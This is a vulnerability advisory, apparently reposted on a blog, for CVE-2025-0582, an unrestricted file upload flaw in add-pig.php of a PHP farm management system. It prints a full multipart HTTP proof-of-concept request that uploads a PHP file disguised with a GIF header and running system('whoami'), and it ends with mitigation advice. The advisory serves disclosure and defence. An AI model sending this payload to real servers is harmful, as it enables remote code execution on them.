CVE-2025-0582

Itsourcecode Farm Management System In PHP v1.0 add-pig.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Farm Management System In PHP

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • zzz,xiongbaojiang

Vulnerable File

  • add-pig.php

VERSION(S)

  • V1.0

PROBLEM TYPE

Vulnerability Type

  • Unrestricted Upload

Root Cause

In the add-pig.php file of the "Farm Management System In PHP" project, attackers can upload malicious code files through the parameter $res1_name. Due to the lack of proper validation and sanitation of the uploaded files, attackers are able to directly upload malicious files to the server, leading to the risk of arbitrary code execution.

Vulnerability Path

In the add-pig.php file of the "Farm Management System In PHP" project, attackers can upload malicious code files through the parameter $res1_name. Due to the lack of proper validation and sanitation of the uploaded files, attackers are able to directly upload malicious files to the server, leading to the risk of arbitrary code execution.

Key Parameter:

  • Parameter : $res1_name

  • File Name : farm management system/add-pig.php

  • Line Number: 37

    复制代码
    $res1_name = basename($_FILES['pigphoto']['name']);

File Upload:

  • Trigger Path: Arbitrary File Upload/Write

  • File Name : farm management system/add-pig.php

  • Line Number: 45

    move = move_uploaded_file(tmp_name, location.res1_name);

Vulnerability POC

复制代码
POST /farm123/add-pig.php HTTP/1.1
Host: farm
Content-Type: multipart/form-data; boundary=---------------------------85676068117477891701865867569
Content-Length: 1468

-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigno"

pig-fms-2793
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="weight"

1
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="arrived"

2024-12-17
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="gender"

male
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="status"

active
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="breed"

23
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="remark"

1
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigphoto"; filename="test.php"
Content-Type: application/octet-stream

GIF89a;

<?php 
system('whoami');
?>
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="submit"


-----------------------------85676068117477891701865867569--

Payload:

复制代码
-----------------------------85676068117477891701865867569
Content-Disposition: form-data; name="pigphoto"; filename="test.php"
Content-Type: application/octet-stream

GIF89a;

<?php 
system('whoami');
?>

The following are screenshots of some specific information obtained from testing and running with the yakit tool:


复制代码
/uploadfolder/test.php

Recommendations for Vulnerability Mitigation

  1. File Type Validation: Limit the allowed file types (e.g., only allow image formats) before processing uploads.
  2. File Name Sanitization: Clean and rename uploaded files to avoid using user-provided names directly.
  3. Use Temporary Directory: Store uploaded files in a temporary directory and conduct security checks after processing.
  4. Permission Control: Ensure correct permission settings on the upload directory to prevent direct execution of uploaded files.
  5. Input Validation: Rigorously validate all user inputs to ensure security.
相关推荐
王大傻09286 小时前
CSRF漏洞概述
安全·web安全·csrf
苦瓜炒蛋挞18 小时前
第一天-Web应用&架构搭建&域名源码&站库分离&MVC模型&解析受限&对应路径
web安全
AC赳赳老秦18 小时前
多云协同趋势下的AI新范式:DeepSeek适配多云架构实现工作负载跨云迁移的深度解析
网络·人工智能·安全·web安全·架构·prometheus·deepseek
乾元18 小时前
合规自动化:AI 在资产发现与数据合规治理中的“上帝之眼”
运维·网络·人工智能·安全·web安全·机器学习·安全架构
0xSec笔记本挖呀瓦呀挖1 天前
Windows后门应急(二)--计划任务后门分析与处置|Windows取证分析
windows·安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析
乾元2 天前
加密流量: 不解密情况下通过流特征识别恶意载荷
网络·人工智能·安全·web安全·机器学习·架构·安全架构
实时数据2 天前
渗透测试通过模拟真实黑客的攻击行为,帮助识别系统、网络或应用程序中的潜在漏洞
网络·安全·web安全
瘾大侠2 天前
HTB 赛季10 - Pterodactyl - user
网络·安全·web安全·网络安全
Ancelin安心2 天前
FastJson反序列化和Shiro漏洞
java·运维·开发语言·安全·web安全·json·idea
少云清3 天前
【安全测试】3_网络安全测试 _数据加密和数据签名
安全·web安全